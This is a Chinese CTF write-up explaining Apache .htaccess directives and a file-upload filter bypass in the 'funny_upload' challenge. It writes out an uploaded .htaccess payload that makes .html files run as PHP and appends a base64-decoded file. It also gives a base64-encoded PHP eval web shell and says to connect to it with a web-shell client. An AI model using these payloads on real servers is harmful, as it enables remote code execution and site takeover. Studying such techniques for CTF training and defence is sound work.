文件上传漏洞之.htaccess文件解析漏洞
文章目录
前置知识
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
总之,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。
漏洞利用
环境来源: Dest0g3 520迎新赛 WEB funny_upload
打开链接,是一个文件上传的功能。
尝试上传
.php
文件,以及进行后缀名绕过均无效,发现服务器进行了过滤。
这里尝试上传
.htaccess
文件,但是服务器对文件内容也有校验,过滤了php的标签
<?
。
因此这里使用auto_append_file和php伪协议组合进行绕过。
首先上传
.htaccess
文件
Content-Disposition: form-data;name="file";filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-php .html
php_value auto_append_file "php://filter/convert.base64-decode/resource=a.html"
下面介绍一下上传的文件内容。
(1).htaccess参数
常见配法有以下几种:
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
Sethandler application/x-httpd-php
Sethandler
将该目录及子目录的所有文件均映射为php文件类型。
Addhandler
使用 php5-script 处理器来解析所匹配到的文件。
AddType
将特定扩展名文件映射为php文件类型。
(2)auto_append_file参数
使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。
php.ini中有两项:
auto_prepend_file
在页面顶部加载文件
auto_append_file
在页面底部加载文件
使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。
在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:
php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"
这样在指定.htaccess的文件夹内的页面文件才会加载
/home/fdipzone/header.php
与
/home/fdipzone/footer.php
,其他页面文件不受影响。
使用.htaccess设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。
回到本题,上传:
上传成功,那其实就是说咱们实现了两个事情:
(在
uploads/c47b21fcf8f0bc8b3920541abd8024fd/
目录下)
1、
html
文件都会被当作
php
文件解析。
2、
php
文件的底部都会被加上
a.html
文件的内容Base64解码后的东西。
因此下一步需要再上传一个
a.html
文件。
Content-Disposition: form-data;name="file";filename="a.html"
Content-Type: image/jpeg
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+
访问页面,成功上传。
菜刀直接连即可。
参考链接
htaccess_百度百科
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_shu天的博客-CSDN博客
.htaccess文件上传解析漏洞_mmzkyl的博客-CSDN博客_htaccess文件上传解析漏洞
PHP中auto_prepend_file与auto_append_file用法实例分析_php技巧_脚本之家
版权归原作者 2ha0yuk7on. 所有, 如有侵权,请联系我们删除。